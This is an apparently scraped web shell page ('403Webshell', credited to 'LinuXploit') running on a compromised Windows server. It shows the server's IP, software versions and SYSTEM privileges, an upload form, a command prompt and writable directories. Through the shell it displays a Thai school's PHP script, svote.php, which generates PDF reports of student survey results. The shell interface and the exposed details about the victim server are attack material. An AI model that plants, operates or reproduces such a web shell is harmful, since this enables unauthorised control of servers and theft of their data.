403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/news/datacenter/admin/report/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/news/datacenter/admin/report/svote.php
<?php  
require_once("setPDF.php"); // ไฟล์สำหรับกำหนดรายละเอียด pdf 
require_once('../config.php');
// เพิ่มหน้าใน PDF
$sbcode = $mysqli->escape_string($_GET['sbcode']); 
$class = $mysqli->escape_string($_GET['class']);
$room = $mysqli->escape_string($_GET['room']);

$SQLx = $mysqli->query("SELECT * FROM setting_term WHERE sactive='yes'");
$Rowx = mysqli_fetch_array($SQLx);
$term = $Rowx['term'];
$year = $Rowx['syear'];

	$pdf->SetTitle('รายงาน PDF'); //Titlo del pdf
	$pdf->setPrintHeader(false); //หัวกระดาษ
	$pdf->setPrintFooter(true); //No se imprime pie de pagina
	$pdf->SetMargins(15, 12, 15, false); //ตั้งค่าระยะห่างจากหัวกระดาษ
	$pdf->SetAutoPageBreak(true, 12); //Se define un salto de pagina con un limite de pie de pagina
    $pdf->AddPage();  
 
// กำหนด HTML code หรือรับค่าจากตัวแปรที่ส่งมา  
//  กรณีกำหนดโดยตรง  
//  ตัวอย่าง กรณีรับจากตัวแปร  
// $htmlcontent =$_POST['HTMLcode'];  
//$htmlcontent='<p>ทดสอบการแปลงไฟล์</p>';  
$htmlcontent=stripslashes($htmlcontent);  
$htmlcontent=AdjustHTML($htmlcontent);  

  
// สร้างเนื้อหาจาก  HTML code 
$tbl1 = <<<EOD
รายงานผลการวิเคราะห์ผู้เรียนรายบุคคล  
EOD;
$user1 = <<<EOD
ระดับชั้น$class/$room  ปีการศึกษา $term/$year 
EOD;

$html = '<table width="560" style="border:1px solid;">
			<thead>
			<tr>
				<th style=" width:50px;" align="center"><b>ข้อที่</b></th>
				<th style="width:210px;" align="center"><b>รายการ</b></th>
				<th style="width:50px;" align="center"><b>ดี</b></th>
				<th style="width:50px;" align="center"><b>ปานกลาง</b></th>
				<th style="width:50px;" align="center"><b>ปรับปรุง</b></th>
				<th style="width:50px;" align="center"><b>เฉลี่ย</b></th>
				<th style="width:50px;" align="center"><b>ความหมาย</b></th>
			</tr></thead><tbody>';

$sql2m = "SELECT * FROM `svote_blank`";
$dbquery2m = $mysqli->query($sql2m);
$i = 0;
while($row2=mysqli_fetch_array($dbquery2m)) {
$title=$row2['title'];	

$i++;

$html .= '<tr>
			<td style="width:50px;" align="center">'.$i.'</td>';
$html .= '<td style="width:210px;">&nbsp;'.$title.'</td>';			
$html .= '<td style="width:50px;" align="center">&nbsp;';
$sql2= $mysqli->query("SELECT * FROM svote_ans where no='$i' AND ans='3' AND sbcode='$sbcode' AND term='$term' AND year='$year'");
$totalv1=mysqli_num_rows($sql2);
$sumv1=$totalv1*3;
$html .= ''.$totalv1.'';
$html .= '</td>';
$html .= '<td style="width:50px;" align="center">&nbsp;';
$sql3= $mysqli->query("SELECT * FROM svote_ans where no='$i' AND ans='2' AND sbcode='$sbcode' AND term='$term' AND year='$year'");
$totalv2=mysqli_num_rows($sql3);
$sumv2=$totalv2*2;
$html .= ''.$totalv2.'';
$html .= '</td>';
$html .= '<td style="width:50px;" align="center">&nbsp;';
$sql4= $mysqli->query("SELECT * FROM svote_ans where no='$i' AND ans='1' AND sbcode='$sbcode' AND term='$term' AND year='$year'");
$totalv3=mysqli_num_rows($sql4);
$sumv3=$totalv3*1;
$html .= ''.$totalv3.'';
$html .= '</td>';
$html .= '<td style="width:50px;" align="center">&nbsp;';
$sql5= $mysqli->query("SELECT
  `svote_ans`.`stucode`
FROM
  `svote_ans` where term='$term' AND year='$year' AND sbcode='$sbcode'
GROUP BY
  `svote_ans`.`stucode` ");
$totalv5=mysqli_num_rows($sql5);
if($totalv5=="0") {$num=1;}else{$num=$totalv5;}

$avg=($sumv1+$sumv2+$sumv3)/$num;
$savg=number_format($avg,2);
$html .= ''.number_format($avg,2).'';
$html .= '</td>';
$html .= '<td style="width:50px;" align="center">&nbsp;';
if($savg>1.99){ $html .= 'ดี'; }else if($savg<1.50){ $html .= 'ปรับปรุง'; } else { $html .= 'ปานกลาง'; }
$html .= '</td>';
$html .= '</tr>';

}
$html .= '</tbody></table>';
//จำนวนผู้ตอบ
$sqls1= $mysqli->query("SELECT
  `svote_ans`.`stucode`
FROM
  `svote_ans` where term='$term' AND year='$year' AND sbcode='$sbcode'
GROUP BY
  `svote_ans`.`stucode`");
$totalx1=mysqli_num_rows($sqls1);
$alltotal=$totalx1*3;
//ข้อ1-3
$sqls2= $mysqli->query("SELECT
SUM(ans) AS sumall
FROM
  `svote_ans`
WHERE
  `svote_ans`.`sbcode` = '$sbcode' AND
  `svote_ans`.`no` < 4 AND
  `svote_ans`.`term` = '$term' AND
  `svote_ans`.`year` = '$year'");
while($rows2=mysqli_fetch_array($sqls2)) {
$ss1=$rows2['sumall'];
$sec_sav1=($ss1/$alltotal);
$new_sav1=number_format($sec_sav1,2);
if($new_sav1>1.99){ $cat="ดี"; }else if($new_sav1<1.50){ $cat="ปรับปรุง"; } else { $cat="ปานกลาง"; }
$section1 = <<<EOD
ด้านที่ 1 ความรู้ความสามารถและประสบการณ์  มีค่าเฉลี่ย $new_sav1 สรุปผลอยู่ในระดับ$cat
EOD;
}
$sqls3= $mysqli->query("SELECT
SUM(ans) AS sumall1
FROM
  `svote_ans`
WHERE
  `svote_ans`.`sbcode` = '$sbcode' AND
  `svote_ans`.`no` > 3 AND
  `svote_ans`.`no` < 7 AND
  `svote_ans`.`term` = '$term' AND
  `svote_ans`.`year` = '$year'");
while($rows3=mysqli_fetch_array($sqls3)) {
$ss2=$rows3['sumall1'];
$sec_sav2=($ss2/$alltotal);
$new_sav2=number_format($sec_sav2,2);
if($new_sav2>1.99){ $cat2="ดี"; }else if($new_sav2<1.50){ $cat2="ปรับปรุง"; } else { $cat2="ปานกลาง"; }
$section2 = <<<EOD
ด้านที่ 2 ความพร้อมด้านสติปัญญา  มีค่าเฉลี่ย $new_sav2 สรุปผลอยู่ในระดับ$cat2
EOD;
}
$sqls4= $mysqli->query("SELECT
SUM(ans) AS sumall4
FROM
  `svote_ans`
WHERE
  `svote_ans`.`sbcode` = '$sbcode' AND
  `svote_ans`.`no` > 6 AND
  `svote_ans`.`no` < 10 AND
  `svote_ans`.`term` = '$term' AND
  `svote_ans`.`year` = '$year'");
while($rows4=mysqli_fetch_array($sqls4)) {
$ss4=$rows4['sumall4'];
$sec_sav4=($ss4/$alltotal);
$new_sav4=number_format($sec_sav4,2);
if($new_sav4>1.99){ $cat3="ดี"; }else if($new_sav4<1.50){ $cat3="ปรับปรุง"; } else { $cat3="ปานกลาง"; }
$section3 = <<<EOD
ด้านที่ 3 ความพร้อมด้านพฤติกรรม   มีค่าเฉลี่ย $new_sav4 สรุปผลอยู่ในระดับ$cat3
EOD;
}
$sqls5= $mysqli->query("SELECT
SUM(ans) AS sumall5
FROM
  `svote_ans`
WHERE
  `svote_ans`.`sbcode` = '$sbcode' AND
  `svote_ans`.`no` > 9 AND
  `svote_ans`.`no` < 13 AND
  `svote_ans`.`term` = '$term' AND
  `svote_ans`.`year` = '$year'");
while($rows5=mysqli_fetch_array($sqls5)) {
$ss5=$rows5['sumall5'];
$sec_sav5=($ss5/$alltotal);
$new_sav5=number_format($sec_sav5,2);
if($new_sav5>1.99){ $cat4="ดี"; }else if($new_sav5<1.50){ $cat4="ปรับปรุง"; } else { $cat4="ปานกลาง"; }
$section4 = <<<EOD
ด้านที่ 4 ความพร้อมด้านร่างกายและจิตใจ  มีค่าเฉลี่ย $new_sav5 สรุปผลอยู่ในระดับ$cat4
EOD;
}
$sqls6= $mysqli->query("SELECT
SUM(ans) AS sumall6
FROM
  `svote_ans`
WHERE
  `svote_ans`.`sbcode` = '$sbcode' AND
  `svote_ans`.`no` > 12 AND
  `svote_ans`.`no` < 16 AND
  `svote_ans`.`term` = '$term' AND
  `svote_ans`.`year` = '$year'");
while($rows6=mysqli_fetch_array($sqls6)) {
$ss6=$rows6['sumall6'];
$sec_sav6=($ss6/$alltotal);
$new_sav6=number_format($sec_sav6,2);
if($new_sav6>1.99){ $cat5="ดี"; }else if($new_sav6<1.50){ $cat5="ปรับปรุง"; } else { $cat5="ปานกลาง"; }
$section5 = <<<EOD
ด้านที่ 5 ความพร้อมด้านสังคม มีค่าเฉลี่ย $new_sav6 สรุปผลอยู่ในระดับ$cat5
EOD;
}
// เลื่อน pointer ไปหน้าสุดท้าย  
$pdf->Ln(-3);
$pdf->SetFont('th-sarabun','b',24);
$pdf->Cell(0, 0, $tbl1, 0, 0, 'C');
$pdf->Ln(10);
$pdf->SetFont('th-sarabun','b',16);
$pdf->Cell(0, 0, $user1, 0, 0, 'C');
$pdf->Ln(12);
$pdf->SetFont('','',14.6,'','','L');
$pdf->writeHTML($html, true, 0, true, 0);
$pdf->Ln(10);
$pdf->SetFont('th-sarabun','b',16);
$pdf->Cell(0, 0, $section1, 0, 0, 'L');
$pdf->Ln(10);
$pdf->SetFont('th-sarabun','b',16);
$pdf->Cell(0, 0, $section2, 0, 0, 'L');
$pdf->Ln(10);
$pdf->SetFont('th-sarabun','b',16);
$pdf->Cell(0, 0, $section3, 0, 0, 'L');
$pdf->Ln(10);
$pdf->SetFont('th-sarabun','b',16);
$pdf->Cell(0, 0, $section4, 0, 0, 'L');
$pdf->Ln(10);
$pdf->SetFont('th-sarabun','b',16);
$pdf->Cell(0, 0, $section5, 0, 0, 'L');
$pdf->lastPage();  
  

// ปิดและสร้างเอกสาร PDF
ob_end_clean();
$today = date("dmY");
$pdf->Output('V-Report'.$today.'.pdf', 'I');
?> 


Youez - 2016 - github.com/yon3zu
LinuXploit